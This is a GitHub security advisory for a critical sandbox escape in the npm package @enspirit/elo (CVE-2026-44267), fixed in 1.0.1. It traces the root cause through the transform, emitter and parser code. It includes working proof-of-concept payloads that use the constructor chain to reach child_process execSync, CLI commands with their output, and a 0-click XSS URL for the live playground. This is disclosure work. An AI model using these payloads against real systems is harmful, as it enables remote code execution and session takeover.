GitHub Advisoryadvisory · npm

GHSA-33r5-xmm8-v6x5 Elo JavaScript emitter has sandbox escape to arbitrary Node.js / browser code execution via unfiltered `.constructor` member access

CRITICAL Published 2026-11-03 Modified 2026-11-03 Official page ↗
Aliases
CVE-2026-44267
Ecosystem
npm
Packages
@enspirit/elo
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-1336, CWE-693, CWE-79, CWE-94
Reviewed
2026-11-03

Affected packages

• npm @enspirit/elo: < 1.0.1 → fixed in 1.0.1

Description

Summary An unauthenticated attacker who controls a string passed to any Elo JavaScript-emission path — `defaultFormats.elo.parse()`, the `bin/elo` CLI, or the live browser playground at `elo-lang.org/try` — can execute arbitrary code in the host JavaScript runtime. A payload built from the `.constructor.constructor` chain compiles, without modification, to a live `Function` invocation in the emitted JavaScript, escaping any sandbox assumption around "Elo is a safe data/DSL language." Vulnerable sink and root cause Three interacting sites in `src/` produce the bug at commit `749af7b`: 1. `src/transform.ts:144–158` — the `member_access` handler allows access on types `any`, `object`, or `array` without filtering the property name. This is the only place an integrator could have plugged a denylist. 2. `src/compilers/javascript.ts:210` — the JS emitter writes `${objectExpr}.${ir.property}` verbatim into the output, so any property name that survives the transform step flows unescaped into emitted JavaScript. 3. `src/parser.ts:163–170, 748–750` — the parser accepts `constructor` (and other JS meta-property names) as an ordinary identifier, so `.constructor` clears type-checking without triggering any warning. Combined, the Elo expression `({}).constructor.constructor('…')()` compiles to a live `Function('…')()` call in the emitted JS, executing in the realm of whichever sink runs the compiled code. Attack surfaces All three surfaces share the same root cause (no denylist in `transform.ts`) and are addressed by the same one-file patch: | # | Entry point | Threat model | |---|---|---| | 1 | Browser playground — `https://elo-lang.org/try/?code=…&run=1` | 0-click XSS / account takeover against elo-lang.org. `?run=1` triggers `setTimeout(() => this.run(), 100)` in `playground_controller.ts:531`; the server issues a 301 that preserves `?code=`. Any shared URL that contains a payload compromises the visitor's session on elo-lang.org. | | 2 | `bin/elo` CLI | RCE on CI / DevOps hosts. Both `node bin/elo payload.elo` and `node bin/elo -e "_" -d @payload.elo -f elo` fire. The `-f elo` path is especially severe: the flag exists to pass user-supplied files as *data* into an Elo pipeline. No integrator expects a data-format flag to shell out to `/usr/bin/id`. | | 3 | Library API — `defaultFormats.elo.parse()` | Node.js RCE for any downstream integrator using Elo as a rule engine, configuration DSL, or form builder DSL (the primary documented use cases). | Proof of Concept Common payload (works on all three entry points): ```elo ({}).constructor.constructor('return this.constructor.constructor(\'return process\')().mainModule.require(\'child_process\').execSync(\'id\').toString()')() ``` Library API — `poc-minimal.js`: ```js // npm install elo const { defaultFormats } = require('elo'); const payload = "({}).constructor.constructor('return this.constructor.constructor(\\'return process\\')().mainModule.require(\\'child_process\\').execSync(\\'id\\').toString()')()"; console.log(defaultFormats.elo.parse(payload)); // → uid=1000(ultrasupara) gid=1000(ultrasupara) groups=… ``` CLI — `poc-cli.sh`: ```sh node bin/elo payload.elo uid=1000(ultrasupara)… node bin/elo -e "_" -d @payload.elo -f elo uid=1000(ultrasupara)… ``` Browser playground — 0-click XSS URL: ``` https://elo-lang.org/try/?code=%28%7B%7D%29.constructor.constructor%28%27alert%28document.domain%29%27%29%28%29&run=1 ``` Opening this URL causes `alert(document.domain)` to fire automatically after ~100 ms with no user interaction beyond navigating to the link. The 301 redirect preserves the `?code=` parameter intact. End-to-end execution on the live production site was captured in a screen recording attached to the original report. Independence from GHSA #3 (AST-API injection) This finding is independent of the Medium-severity AST-API report (GHSA #3). That fix's identifier regex `^[a-zA-Z_][a-zA-Z0-9_]*$` happens to accept `constructor`, and its threat model requires an attacker-controlled AST *object* rather than a plain string. The current finding requires only a plain Elo string, which is a strictly weaker attacker model.

Related

Alias · CVE (1)

  • CVE-2026-44267 Elo is a purely functional expression language for no-code tools. vulnerability

Weakness · CWE (4)

  • CWE-1336 Improper Neutralization of Special Elements Used in a Template Engine weakness
  • CWE-693 Protection Mechanism Failure weakness
  • CWE-79 Improper Neutralization of Input During Web Page Generation weakness
  • CWE-94 Improper Control of Generation of Code weakness

References